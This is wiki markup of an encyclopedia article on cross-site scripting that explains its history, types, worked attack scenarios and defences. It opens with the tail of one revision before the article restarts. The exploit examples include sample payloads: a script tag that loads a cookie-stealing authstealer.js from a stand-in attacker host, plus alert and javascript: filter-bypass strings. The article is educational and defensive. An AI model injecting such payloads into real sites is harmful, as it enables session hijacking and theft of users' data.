Some companies offer a periodic scan service, essentially simulating an attack from their server to a client's in order to check if the attack is successful. If the attack succeeds, the client receives detailed information on how it was performed and thus has a chance to fix the issues before the same attack is attempted by someone else. A [[trust seal]] can be displayed on the site that passes a recent scan. The scanner may not find all possible vulnerabilities,<ref>[http://blog.skeptikal.org/2010/03/website-security-seals-smackdown.html Sceptic blog]</ref> and therefore sites with trust seals may still be vulnerable to new types of attack, but the scan may detect some problems. After the client fixes them, the site is more secure than it was before using the service. For sites that require complete mitigation of XSS vulnerabilities, assessment techniques like manual code review are necessary. Additionally, if Javascript is executing on the page, the seal could be overwritten with a static copy of the seal (so, in theory, such a service alone is likely not sufficient to eliminate XSS risk completely).

==Related vulnerabilities==
In a '''Universal Cross-Site Scripting''' ('''UXSS''', or '''Universal XSS''') attack, vulnerabilities in the browser itself are exploited (rather than vulnerabilities in other websites, as is the case with XSS attacks); such attacks are commonly used by [[Anonymous (group)|Anonymous]], along with DDoS, to compromise control of a network.<ref>{{cite web |first=Stefano |last=Di Paola |title=Adobe Acrobat Reader Plugin - Multiple Vulnerabilities |url=http://www.wisec.it/vulns.php?page=9 |date=January 3, 2007 |publisher=Wisec.it |accessdate=March 13, 2012 }}</ref>

Several classes of vulnerabilities or attack techniques are related to XSS: [[cross-zone scripting]] exploits "zone" concepts in certain browsers and usually executes code with a greater privilege.<ref>{{cite news |title=Security hole in Internet Explorer allows attackers to execute arbitrary programs |url=http://www.h-online.com/security/news/item/Security-hole-in-Internet-Explorer-allows-attackers-to-execute-arbitrary-programs-735225.html |date=May 16, 2008 |publisher=Heise Media UK |accessdate=June 7, 2008 }}</ref> [[HTTP header injection]] can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as [[HTTP response splitting]]).<ref>{{cite web |title=Update available for potential HTTP header injection vulnerabilities in Adobe Flash Player |url=http://www.adobe.com/support/security/bulletins/apsb06-18.html |date=November 14, 2006 |publisher=Adobe Systems |accessdate=June 7, 2008 }}</ref>

[[Cross-site request forgery]] (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user's trust in a site, the attacker (and his malicious page) exploits the site's trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users.<ref>{{cite web |last=Auger |first=Robert |title=The Cross-Site Request Forgery (CSRF/XSRF) FAQ (version 1.59) |url=http://www.cgisecurity.com/articles/csrf-faq.shtml |date=April 17, 2008 |publisher=Cgisecurity.com |accessdate=June 7, 2008 }}</ref> XSS vulnerabilities (even in other applications running on the same domain) allow attackers to bypass CSRF prevention efforts.<ref>[http://www.webappsecblog.com/CsrfAndSameOriginXss.html "Article about CSRF and same-origin XSS"]</ref>

[[Phishing#Covert_redirect|Covert Redirection]] takes advantage of third-party clients susceptible to XSS or Open Redirect attacks.<ref name="Covert_Redirect">{{cite web |url=https://news.ycombinator.com/item?id=7685677 |title=OAuth 2.0 and OpenID Redirect Vulnerability |publisher=Hacker News |date=May 2, 2014 |accessdate=December 21, 2014 }}</ref> Normal phishing attempts can be easy to spot, because the malicious page's URL will usually be off by a couple of letters from that of the real site. The difference with Covert Redirection is that an attacker could use the real website instead by corrupting the site with a malicious login pop-up dialogue box.<ref name="tomsguide">{{cite news |url=http://www.tomsguide.com/us/facebook-google-covert-redirect-flaw,news-18726.html |title=Facebook, Google Users Threatened by New Security Flaw |publisher=Tom's Guide |first=Jill |last=Scharr |date=May 2, 2014 |accessdate=December 21, 2014 }}</ref>

Lastly, [[SQL injection]] exploits a vulnerability in the database layer of an application. When user input is incorrectly filtered, any SQL statements can be executed by the application.<ref>{{cite web |title=SQL Injection |url=http://projects.webappsec.org/SQL-Injection |year=2005 |publisher=Web Application Security Consortium |accessdate=June 7, 2008 }}</ref><ref>{{cite web |title=The Cross-Site Scripting FAQ |url=http://www.cgisecurity.com/xss-faq.html |year=2002 |publisher=Cgisecurity.com |accessdate=June 7, 2008 }}</ref>

==See also==
{{Portal|Software Testing}}
*[[Pale_Moon_(web_browser)|Pale Moon]], a web browser with XSS filtering
*[[Web application security]]
*[[Internet security]]
*[[XML external entity]]
*[[Browser security]]
*[[Same-origin policy]]
*[[Metasploit Project]], an open-source penetration testing tool that includes tests for XSS
*[[w3af]], an open-source [[web application security scanner]]
*Free desktop [[browser extension]]s that flexibly block execution of scripts:
**For [[Mozilla Firefox]]: [[NoScript]], [https://addons.mozilla.org/en-US/firefox/addon/policeman/ Policeman], or the [https://github.com/gorhill/uBlock/wiki/Advanced-user-features advanced features] of [https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/ uBlock Origin], a general content blocker [https://github.com/gorhill/uBlock extension]
**For [[Google Chrome]]: [https://chrome.google.com/webstore/detail/scriptsafe/oiigbmnaadbkfbmpbfijlflahbdbdgdf ScriptSafe], [https://chrome.google.com/webstore/detail/%C2%B5matrix/ogfcmafjalglgifnmanfmnieipoejdcf µMatrix] (an [https://github.com/gorhill/uMatrix extension] by the creator of [[uBlock]]), or the advanced features of [https://chrome.google.com/webstore/detail/%C2%B5block/cjpalhdlnbpafiamejdnhcphjbkeiagm uBlock]
**For [[Opera (web browser)|Opera]] (newer [[Chromium (web browser)|Chromium]]-based versions): [https://addons.opera.com/en-gb/extensions/details/umatrix/ µMatrix] or the advanced features of [https://addons.opera.com/en-gb/extensions/details/ublock/ uBlock]
**For [[Safari (web browser)|Safari]]: [http://javascript-blocker.toggleable.com/ JavaScript Blocker] or the advanced features of [https://chrismatic.io/ublock/ uBlock]
**For [[Internet Explorer]]: [https://web.archive.org/web/20070621032607/http://www.jasons-toolbox.com/programs.asp?Program=Trust%20Setter Trust Setter], an interface to setting Trusted and Restricted Sites (32-bit only, so does not work under Enhanced [[Mandatory Integrity Control|Protected Mode]] in 64-bit [[Microsoft Windows|Windows]])
*[http://xsser.sf.net XSSer: an automatic framework to detect, exploit and report XSS vulnerabilities]
*[[Cross-document messaging]]
*[[Samy (computer worm)]]
*[[Self-XSS]]

==References==
{{Reflist|30em}}

==Further reading==
*{{cite web | last=MacKenzie | first=Thomas | title= ScriptAlert1.com – Concise Cross-Site Scripting Explanation in Multiple Languages | url=http://www.scriptalert1.com | accessdate=2015-10-24}}
*{{cite web | title=XSS Explained – Simple XSS Explanation | website=HoubySoft.com | url=http://www.houbysoft.com/v/en/papers/xss/ | accessdate=2015-10-24}}
*{{cite web | title=Preventing XSS in ASP.NET Made Easy | website=Lock Me Down | Security for the Everyday Developer | date=2015-02-06 | url=http://lockmedown.com/preventing-xss-in-asp-net-made-easy/ | accessdate=2015-10-24}}
*{{cite web | title=Cross Site Scripting | website=The Web Application Security Consortium | date=2005-10-13 | url=http://projects.webappsec.org/Cross-Site-Scripting | accessdate=2015-10-24}}

==External links==
*[[OWASP]]: [https://www.owasp.org/index.php/XSS XSS], [http://www.owasp.org/index.php/Testing_for_Cross_site_scripting Testing for XSS], [http://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting Reviewing Code for XSS]
*[http://www.xssed.com/ XSSed: Database of Websites Vulnerable to Cross-Site Scripting Attacks]
*[http://www.virtualforge.de/vmovie/xss_lesson_1/xss_selling_platform_v1.0.swf Flash Animation of Cross-Site Scripting Attack]

{{DEFAULTSORT:Cross-Site Scripting}}
[[Category:Web security exploits]]
[[Category:Computer security exploits]]
[[Category:Injection exploits]]
[[Category:Hacking (computer security)]]

Cross-site scripting

2017-02-06T20:07:15Z

PythonCode: Fixed dead link

{{Use mdy dates|date=June 2013}}
'''Cross-site scripting''' ('''XSS''') is a type of [[computer security]] [[vulnerability (computer science)|vulnerability]] typically found in [[web application]]s. XSS enables attackers to [[code injection|inject]] [[client-side script]]s into [[web page]]s viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass [[access control]]s such as the [[same-origin policy]]. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by [[Symantec]] as of 2007.<ref name="Symantec-2007-2nd-exec">During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 "traditional" vulnerabilities documented by Symantec, in {{cite journal |title=Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary) |publisher=Symantec Corp. |volume=XIII |pages=1–3 |date=April 2008 |url=http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf |format=PDF |accessdate=May 11, 2008 }}</ref> Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.

==Background==
Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the [[same-origin policy]]. This essentially states that if content from one site (such as ''<nowiki>https://mybank.example1.com</nowiki>'') is granted permission to access resources on a system, then any content from that site will share these permissions, while content from another site (''<nowiki>https://othersite.example2.com</nowiki>'') will have to be granted permissions separately.<ref>{{cite web |title= Same Origin Policy - Web Security. W3.org. |url= http://www.w3.org/Security/wiki/Same_Origin_Policy |accessdate= November 4, 2014 }}</ref>

Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side [[web browser]], it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of [[code injection]].{{citation needed|date=July 2013}}

[[Microsoft]] security-engineers introduced the term "cross-site scripting" in January 2000.<ref name="xssname">{{cite web |author= "dross" on MSDN |title= Happy 10th birthday Cross-Site Scripting! |url= http://blogs.msdn.com/b/dross/archive/2009/12/15/happy-10th-birthday-cross-site-scripting.aspx |date=15 Dec 2009 |accessdate= 2016-03-19 | quote = On the 16th of January, 2000, the following names were suggested and bounced around among a small group of Microsoft security engineers: [...] The next day there was consensus – Cross Site Scripting. }}</ref> The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of [[JavaScript]] prepared by the attacker in the [[same-origin policy|security context]] of the targeted domain (taking advantage of a ''reflected'' or ''non-persistent'' XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including [[ActiveX]], [[Java (programming language)|Java]], [[VBScript]], [[Adobe Flash|Flash]], or even [[HTML]] scripts), causing some confusion to newcomers to the field of [[information security]].<ref name="Grossman">{{cite web |last= Grossman |first= Jeremiah |title= The origins of Cross-Site Scripting (XSS) |url= http://jeremiahgrossman.blogspot.com/2006/07/origins-of-cross-site-scripting-xss.html |date= July 30, 2006 |accessdate= September 15, 2008 }}</ref>

XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites [[Twitter]],<ref>{{cite news |last= Arthur |first= Charles |title= Twitter users including Sarah Brown hit by malicious hacker attack |url= https://www.theguardian.com/technology/blog/2010/sep/21/twitter-bug-malicious-exploit-xss |date= September 21, 2010 |publisher= The Guardian |accessdate= September 21, 2010 }}</ref>
[[Facebook]],<ref>{{cite news |last= Leyden |first= John |title= Facebook poked by XSS flaw |url= http://www.theregister.co.uk/2008/05/23/facebook_xss_flaw/ |date= May 23, 2008 |publisher= The Register |accessdate= May 28, 2008 }}</ref>
[[MySpace]], [[YouTube]] and [[Orkut]].<ref>{{cite web |title= Full List of Incidents |url= http://projects.webappsec.org/Web-Hacking-Incident-Database |date= February 17, 2008 |publisher= Web Application Security Consortium |accessdate= May 28, 2008 }}</ref><ref>{{cite web |first= Larry |last= Dignan |title= Obama site hacked; Redirected to Hillary Clinton |url= http://www.zdnet.com/blog/security/obama-site-hacked-redirected-to-hillary-clinton/1042 |date=April 21, 2008 |publisher= ZDNet |accessdate= May 28, 2008 }}</ref> Cross-site scripting flaws have since surpassed [[buffer overflow]]s to become the most common publicly reported security vulnerability,<ref>{{cite web |last= Christey |first= Steve |last2= Martin |first2= Robert A. |title= Vulnerability Type Distributions in CVE (version 1.1) |url= //cwe.mitre.org/documents/vuln-trends/index.html |date= May 22, 2007 |publisher= MITRE Corporation |accessdate= June 7, 2008 }}</ref> with some researchers in 2007 estimating as many as 68% of websites as likely open to XSS attacks.<ref>
{{cite news
|last= Berinato |first= Scott
|title= Software Vulnerability Disclosure: The Chilling Effect
|url= http://www.csoonline.com/article/221113
|archiveurl= https://web.archive.org/web/20080418072230/http://www.csoonline.com/article/221113
|archivedate= April 18, 2008 |work= CSO |page= 7
|publisher= CXO Media |date= January 1, 2007 |accessdate= June 7, 2008
}}
</ref>

==Types==
There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: ''non-persistent'' and ''persistent''. Some sources further divide these two groups into ''traditional'' (caused by server-side code flaws) and ''[[Document Object Model|DOM]]-based'' (in client-side code).

===Reflected (non-persistent)===
{{Quote box
|width=30%
|title=Example of a non-persistent XSS flaw
|1=Non-persistent XSS vulnerabilities in Google could allow malicious sites to attack Google users who visit them while logged in.<ref>{{cite web |last=Amit |first=Yair |title=Google.com UTF-7 XSS Vulnerabilities |url=http://www.securiteam.com/securitynews/6Z00L0AEUE.html |publisher=Watchfire |date=December 21, 2005 |accessdate=May 29, 2008}}</ref>
}}

The ''non-persistent'' (or ''reflected'') cross-site scripting vulnerability is by far the most common type of web vulnerability.<ref name="HopeWalther">{{Cite book |last=Paco |first=Hope |last2=Walther |first2=Ben |title=Web Security Testing Cookbook |publisher=O'Reilly Media, Inc. |year=2008 |location=Sebastopol, CA |page=128 |isbn=978-0-596-51483-9}}</ref> These holes show up when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly [[HTML sanitization|sanitizing]] the request.<ref name="WASC-2005">{{cite web |title=Cross-site Scripting |url=http://projects.webappsec.org/Cross-Site-Scripting |year=2005 |publisher=Web Application Security Consortium |accessdate=May 28, 2008}}</ref>

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection.<ref name="HopeWalther" /><ref name="WASC-2005" /> A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly [[Escape character|escape]] or reject HTML control characters, a cross-site scripting flaw will ensue.<ref name="GHFPR">{{cite book |last=Grossman |first=Jeremiah |first2=Robert |last2=Hansen |first3=Seth |last3=Fogie |first4=Petko D. |last4=Petkov |first5=Anton |last5=Rager |title=XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract) |pages=70, 156 |publisher=Elsevier Science & Technology via Google Book Search |url=https://books.google.com/books?id=dPhqDe0WHZ8C |year=2007 |isbn=1-59749-154-3 |accessdate=May 28, 2008}}</ref>

A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim's browser to execute the injected script.

===Persistent===
{{Quote box
|width=30%
|title=Example of a persistent XSS flaw
|A persistent [[cross-zone scripting]] vulnerability coupled with a [[computer worm]] allowed execution of arbitrary code and listing of filesystem contents via a QuickTime movie on [[MySpace]].<ref>This worm is named JS/Ofigel-A, JS/Quickspace.A and JS.Qspace, in {{cite web |title=JS/Ofigel-A |url=http://www.sophos.com/security/analyses/viruses-and-spyware/jsofigela.html |publisher=Sophos |accessdate=June 5, 2008}} and {{cite web |title=F-Secure Malware Information Pages: JS/Quickspace.A |url=http://www.f-secure.com/v-descs/js_quickspace_a.shtml |date=January 5, 2007 |publisher=F-Secure |accessdate=June 5, 2008}} and {{cite web |title=JS.Qspace |url=http://www.symantec.com/security_response/writeup.jsp?docid=2006-120313-2523-99 |date=February 13, 2007 |publisher=Symantec Corp. |accessdate=June 5, 2008}}</ref>
}}

The ''persistent'' (or ''stored'') XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.<ref name="WASC-2005" />

For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody's real name and email. These are kept secret on the server. The only time a member's real name and email are in the browser is when the member is signed in, and they can't see anyone else's.

Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other people's browsers when '''they''' visit '''her''' profile. The script then sends a quick message to her own server, which collects this information.

To do this, for the question "Describe your Ideal First Date", Mallory gives a short answer (to appear normal) but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won't be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory’s profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob’s real name and email directly from his own machine.

Persistent XSS vulnerabilities can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of client-side [[Computer worm|worm]].<ref>Viruses and worms in {{cite web |last=Alcorn |first=Wade |title=The Cross-site Scripting Virus |date=September 27, 2005 |url=http://www.bindshell.net/papers/xssv |publisher=BindShell.net |accessdate=May 27, 2008}} and {{cite web |last=Grossman |first=Jeremiah |title=Cross-Site Scripting Worms and Viruses: The Impending Threat and the Best Defense |url=http://www.net-security.org/dl/articles/WHXSSThreats.pdf |format=PDF |date=April 2006 |publisher=WhiteHat Security |page=20 |accessdate=June 6, 2008}}</ref>

The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.

===Server-side versus DOM-based vulnerabilities===
{{Quote box
|width=30%
|title=Example of a DOM-based XSS flaw
|Before the bug was resolved, Bugzilla error pages were open to [[Document Object Model|DOM]]-based XSS attacks in which arbitrary HTML and scripts could be injected using forced error messages.<ref>{{cite web |title=Bug 272620 – XSS vulnerability in internal error messages |url=http://bugzilla.mozilla.org/show_bug.cgi?id=272620 |year=2004 |publisher=Bugzilla@Mozilla |accessdate=May 29, 2008}}</ref>
}}
Historically XSS vulnerabilities were first found in applications that performed all data processing on the server side. User input (including an XSS vector) would be sent to the server, and then sent back to the user as a web page. The need for an improved user experience resulted in popularity of applications that had a majority of the presentation logic (maybe written in [[JavaScript]]) working on the client-side that pulled data, on-demand, from the server using [[AJAX]].

As the JavaScript code was also processing user input and rendering it in the web page content, a new sub-class of reflected XSS attacks started to appear that was called ''[[Document Object Model|DOM]]-based cross-site scripting''. In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.<ref>{{cite web |url=https://www.owasp.org/index.php/DOM_Based_XSS |title=DOM based XSS |publisher=OWASP}}</ref>

An example of a DOM-based XSS vulnerability is the bug found in 2011 in a number of [[JQuery]] plugins.<ref>{{cite web |url=http://bugs.jquery.com/ticket/9521 |title=JQuery bug #9521 |year=2011}}</ref> Prevention strategies for DOM-based XSS attacks include very similar measures to traditional XSS prevention strategies but implemented in [[JavaScript]] code and contained in web pages (i.e. input validation and escaping).<ref>{{cite web |url=https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet |title=DOM based XSS prevention cheat sheet |publisher=OWASP}}</ref> Some [[JavaScript library|JavaScript frameworks]] have built-in countermeasures against this and other types of attack — for example [[Angular.js]].<ref>{{cite web |url=http://docs.angularjs.org/api/ng.$sce |title=Strict Contextual Escaping |publisher=Angular.js}}</ref>

===Self-XSS===

[[Self-XSS]] is a form of XSS vulnerability which relies on Social Engineering in order to trick the victim into executing malicious JavaScript code into their browser. Although it is technically not a true XSS vulnerability due to the fact it relies on socially engineering a user into executing code rather than a flaw in the affected website allowing an attacker to do so, it still poses the same risks as a regular XSS vulnerability if properly executed.<ref>{{cite web |title= Self-XSS Facebook scam attempts to trick users into hacking themselves |work= www.majorgeeks.com |date= 2014-07-29 |url= http://www.majorgeeks.com/news/story/self_xss_facebook_scam_attempts_to_trick_users_into_hacking_themselves.html |access-date= 2016-09-20 }}</ref>

=={{anchor|Exploit scenarios}}Exploit examples==

Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the [[Alice and Bob|Alice-and-Bob cast of characters]] commonly used in computer security.

The [[BeEF (Browser Exploitation Framework)|Browser Exploitation Framework]] could be used to attack the web site and the user's local environment.

===Non-persistent===
# Alice often visits a particular website, which is hosted by Bob. Bob's website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. When a user logs in, the browser keeps an Authorization Cookie, which looks like some garbage characters, so both computers (client and server) remember that she's logged in.
# Mallory observes that Bob's website contains a reflected XSS vulnerability:
## When she visits the Search page, she inputs a search term in the search box and clicks the submit button. If no results were found, the page will display the term she searched for followed by the words "not found," and the url will be <code><nowiki>http://bobssite.org?q=her</nowiki> search term</code>.
## With a normal search query, like the word "'''puppies'''", the page simply displays "'''puppies''' not found" and the url is "<nowiki>http://bobssite.org</nowiki>'''?q=puppies'''" - which is perfectly normal behavior.
## However, when she submits an abnormal search query, like "{{code|2=html4strict|1=<script type='text/javascript'>alert('xss');</script>}}",
### An alert box appears (that says "xss").
### The page displays "{{code|2=html4strict|1=<script type='text/javascript'>alert('xss');</script>}} not found," along with an error message with the text 'xss'.
### The url is "<code><nowiki>http://bobssite.org</nowiki>'''?q=<script%20type='text/javascript'>alert('xss');</script>'''</code> - which is exploitable behavior.
# Mallory crafts a URL to exploit the vulnerability:
## She makes the URL <code><nowiki>http://bobssite.org</nowiki>'''?q=puppies<script%20src="<nowiki>http://mallorysevilsite.com/authstealer.js"></script></nowiki>'''</code>. She could choose to convert the [[ASCII]] characters into [[hexadecimal]] format, such as <code><nowiki>http://bobssite.org</nowiki>'''?q=puppies<nowiki>%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E</nowiki>'''</code>, so that human readers cannot immediately decipher the malicious URL.<ref name=geekstuff>http://www.thegeekstuff.com/2012/02/xss-attack-examples/</ref>
## She sends an e-mail to some unsuspecting members of Bob's site, saying "Check out some cute puppies!"
# Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob's website to search, doesn't find anything, and displays "puppies not found" but right in the middle, the script tag runs (it is invisible on the screen) and loads and runs Mallory's program authstealer.js (triggering the XSS attack). Alice forgets about it.
# The authstealer.js program runs in Alice's browser, as if it originated from Bob's website. It grabs a copy of Alice's Authorization Cookie and sends it to Mallory's server, where Mallory retrieves it.
# Mallory now puts Alice's Authorization Cookie into her browser as if it were her own. She then goes to Bob's site and is now logged in as Alice.
# Now that she's in, Mallory goes to the Billing section of the website and looks up Alice's credit card number and grabs a copy. Then she goes and changes her password so Alice can't even log in anymore.
# She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob's website.

Several things could have been done to mitigate this attack:
# The search input could have been [[HTML sanitization|sanitized]] which would include proper encoding checking.
# The web server could be set to [[Server-side redirect|redirect]] invalid requests.
# The web server could detect a simultaneous login and invalidate the sessions.
# The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
# The website could display only the last few digits of a previously used credit card.
# The website could require users to enter their passwords again before changing their registration information.
# The website could enact various aspects of the [[Content Security Policy]].
# Users could be educated to ''not'' click "benign-looking", but malicious, links.
# Set cookie with <code>HttpOnly</code> flag to prevent access from JavaScript.

===Persistent attack===
# Mallory gets an account on Bob's website.
# Mallory observes that Bob's website contains a stored XSS vulnerability. If you go to the News section, and post a comment, it will display whatever he types in for the comment. But, if the comment text contains HTML tags in it, the tags will be displayed as it is, and any script tags get run.
# Mallory reads an article in the News section and writes in a comment at the bottom in the Comments section. In the comment, she inserts this text: <code>I love the puppies in this story! They're so cute!'''<script src="<nowiki>http://mallorysevilsite.com/authstealer.js</nowiki>">'''</code>
# When Alice (or anyone else) loads the page with the comment, Mallory's script tag runs and steals Alice's authorization cookie, sending it to Mallory's secret server for collection.<ref name=geekstuff>http://www.thegeekstuff.com/2012/02/xss-attack-examples/</ref>
# Mallory can now [[session hijacking|hijack]] Alice's session and impersonate Alice.<ref>{{cite news |last=Brodkin |first=Jon |title=The top 10 reasons Web sites get hacked |url=https://web.archive.org/web/20151223155133/http://www.networkworld.com/article/2286560/lan-wan/the-top-10-reasons-web-sites-get-hacked.html |date=October 4, 2007 |work=Network World |publisher=IDG |accessdate=June 8, 2008 }}</ref><ref name=geekstuff/>

Bob's website software should have stripped out the script tag or done something to make sure it didn't work, but the security bug is in the fact that he didn't.

=={{anchor|Mitigation|Reducing the threat}}Preventive measures==
{{manual|section|date=December 2014}}

===Contextual output encoding/escaping of string input===

Contextual output encoding/escaping could be used as the primary defense mechanism to stop XSS attacks. There are several escaping schemes that can be used depending on where the untrusted string needs to be placed within an HTML document including HTML entity encoding, JavaScript escaping, CSS escaping, and [[Percent-encoding|URL (or percent) encoding]].<ref name="OWASP">{{cite web |last=Williams |first=Jeff |title=XSS (Cross Site Scripting) Prevention Cheat Sheet |url=https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet |publisher=OWASP |date=January 19, 2009 |accessdate=February 4, 2009 }}</ref> Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS attacks in a fairly straightforward manner.

Although widely recommended, performing HTML entity encoding only on the [[List of XML and HTML character entity references#Predefined entities in XML|five XML significant characters]] is not always sufficient to prevent many forms of XSS attacks. As encoding is often difficult, security encoding libraries are usually easier to use.<ref name="OWASP" />

===Safely validating untrusted HTML input===

Many operators of particular web applications (e.g. forums and webmail) allow users to utilize a limited subset of HTML markup. When accepting HTML input from users (say, <tt>very large</tt>), output encoding (such as <tt>&lt;b&gt;very&lt;/b&gt; large</tt>) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as "'''very''' large", instead of "very large"). Stopping an XSS attack when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an [[HTML sanitization]] engine to ensure that it does not contain XSS code.

It should also be noted that many validations rely on parsing out (blacklisting) specific "at risk" html tags such as the following<syntaxhighlight lang="html5">
<script> <link> <iframe>
</syntaxhighlight>

There are several issues with this approach, for example sometimes seemingly harmless tags can be left out which when utilized correctly can still result in an XSS

(see the below example) <syntaxhighlight lang="html5">
<img src="javascript:alert(1)">
</syntaxhighlight>Another popular method is to strip user input of " and ' however this can also be bypassed as the payload can be concealed with [[Obfuscation]] (See this [http://www.jsfuck.com/] link for an extreme example of this)

===Cookie security===

Besides content filtering, other imperfect methods for cross-site scripting mitigation are also commonly used. One example is the use of additional security controls when handling [[HTTP cookie|cookie]]-based user authentication. Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies.<ref name="Sharma">{{cite web |last=Sharma |first=Anand |title=Prevent a cross-site scripting attack |url=http://www.ibm.com/developerworks/ibm/library/wa-secxss/ |publisher=IBM |date=February 3, 2004 |accessdate=May 29, 2008 }}</ref> To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, then only permit that IP to use that cookie.<ref name="ModSecurity">{{cite web |title=ModSecurity: Features: PDF Universal XSS Protection |url=http://www.modsecurity.org/projects/modsecurity/apache/feature_universal_pdf_xss.html |publisher=Breach Security |accessdate=June 6, 2008 }}</ref> This is effective in most situations (if an attacker is only after the cookie), but obviously breaks down in situations where an attacker is behind the same [[Network address translation|NAT]]ed IP address or [[web proxy]] as the victim, or the victim is changing his or her [[mobile IP]].<ref name="ModSecurity" />

Another mitigation present in [[Internet Explorer]] (since version 6), [[Firefox]] (since version 2.0.0.5), [[Safari]] (since version 4), [[Opera]] (since version 9.5) and [[Google Chrome]], is an ''HttpOnly'' flag which allows a web server to set a cookie that is unavailable to client-side scripts. While beneficial, the feature can neither fully prevent cookie theft nor prevent attacks within the browser.<ref>{{cite web |title=Ajax and Mashup Security |url=http://www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.php |publisher=OpenAjax Alliance |accessdate=June 9, 2008 }}</ref>

===Disabling scripts===

While [[Web 2.0]] and [[Ajax (programming)|Ajax]] developers require the use of JavaScript,<ref>{{cite web |last=O'Reilly |first=Tim |title=What Is Web 2.0 |url=http://oreilly.com/web2/archive/what-is-web-20.html |pages=4–5 |date=September 30, 2005 |publisher=O'Reilly Media |accessdate=June 4, 2008 }}</ref> some web applications are written to allow operation without the need for any client-side scripts.<ref>"A page should work, even if in a degraded form, without JavaScript." in {{cite book |last=Zammetti |first=Frank |title=Practical JavaScript, DOM Scripting and Ajax Projects via Amazon Reader |url=http://www.amazon.com/gp/reader/1590598164/ |publisher=Apress |page=36 |isbn=1-59059-816-4 |date=April 16, 2007 |accessdate=June 4, 2008 }}</ref> This allows users, if they choose, to disable scripting in their browsers before using the application. In this way, even potentially malicious client-side scripts could be inserted unescaped on a page, and users would not be susceptible to XSS attacks.

